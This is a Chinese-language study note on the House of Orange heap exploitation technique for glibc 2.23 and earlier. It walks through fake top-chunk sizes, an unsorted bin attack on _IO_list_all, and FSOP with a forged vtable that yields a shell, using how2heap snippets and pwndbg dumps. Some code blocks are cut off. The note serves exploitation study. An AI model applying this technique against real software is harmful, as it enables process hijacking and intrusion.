House Of Orange 2.23 and below
House Of Orange glibc version 2.23 and below
很巧妙精细的攻击思路,核心和精彩之处是在没有free函数时如何进行heap attack
先看一下偏移把
grxer@grxer /m/h/S/c/p/io_file> ./test |
原理
当前堆的top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk会被释放并被置入unsorted bin中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。
_int_malloc中依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,没有的话,接下来操作topchunk,还不满足的话
/* |
sysmalloc去向操作系统申请,有 mmap 和 brk 两种分配方式,我们需要的是brk提升堆顶,所以我们分配的 chunk 大小要小于 mmap 分配阈值,默认为 128K
brk时会对top chunk size 检测
/* Record incoming configuration of top */ |
要求我们
- 伪造的 size 必须要对齐到内存页(一般4k),因为topchunk+size是最后一个堆块的边界
- size 要大于 MINSIZE(0x10)
- size 要小于之后申请的 chunk size + MINSIZE(0x10)
- size 的 prev inuse 位必须为 1
测试
|
malloc(0x20)
0x602030+0x20fd0=0x623000 4k对齐的,为了满足(unsigned long) old_end & (pagesize - 1)) == 0)
我们伪造的size要时0xfd1 0x1fd1 0x2fd1等等
*((long long*)ptr)=fake_size;
malloc(0x1000)
malloc(0x60);
how2heap example
md,这个注释写的太好了orz
|
一般第一次brk的堆块大小都是0x21000,
首先模拟了任意大小的堆溢出,前面一直到p2 = malloc(0x1000);
和我们上面分析的一样在制造unsorted bin
这0x1000的chunk被分配到新brk的topchunk上
io_list_all = top[2] + 0x9a8;
根据unsortedbin的固定偏移定位到_io_list_all=0x7ffff7dd2520
top[3] = io_list_all - 0x10; memcpy( ( char *) top, "/bin/sh\x00", 8); top[1] = 0x61;
其余直接从malloc(0x10)
往后推吧
把0x602400拿走时会chunk->bk->fd=unsortedbin,我们会往io_list_all写入unsortedbin
0x61是个重点
malloc(0x10)时会先把这个0x61大小的chunk放入0x60大小的smallbin里即main_arena+0xc0,然后切割他的bk所指的chunk
这个时候io_list_all里是main_arena+88,我们把它当作IO_FILE_plus结构体,他的_chain指针在main_arena+88+0x68=main_arena+0xc0处,我们的第一个0x60smallbin里存的地址
也就是说io_list_all链表的下一个链表是0x602400,他的周围都是是我们的可控范围
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8我们选择一块可控内存伪造vtable,并覆盖写入他的_overflow指针
切割bk时由于bk不符合要求
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks 2";
goto errout;
}会触发
malloc_printerr
,一直到_overflow__libc_malloc
=>malloc_printerr
=>__libc_message
=>abort
=>fflush
=>_IO_flush_all_lockp
=>_IO_OVERFLOW
_IO_flush_all_lockp里需要绕过一些 具体参考FSOP _IO_OVERFLOW会以_IO_FILE_plus为第一个参数所以,我们在前面用memcpy( ( char *) top, “/bin/sh\x00”, 8)把他的开头赋值为system所需的参数
pwndbg> p *(struct _IO_FILE_plus*)0x602400
$1 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
_IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 4196319,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x602460
}
pwndbg> p *(struct _IO_jump_t*)0x602460
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x4007df <winner>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x602460,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
malloc fail 但拿到shell
grxer@grxer /m/h/S/h/glibc_2.23> ./house_of_orange |
成功率
houseoforange成功率只有%50
_IO_flush_all_lockp函数,会根据_IO_list_all和chain字段来去依次遍历链表上的每个结构体,第一个结构体是main_arena+88 main_arena+88+0xc0是_mode字段
这个字段是libc随机的,0到0xffffffff之间的任意值,但是如果大于0x7fffffff的话该值就为负
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) |
正数(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
一定成立,会遍历他的vtable,由于他的vtable我们没有控制,最终调用函数出差
所以负数才行fp->_IO_write_ptr > fp->_IO_write_base
是相等的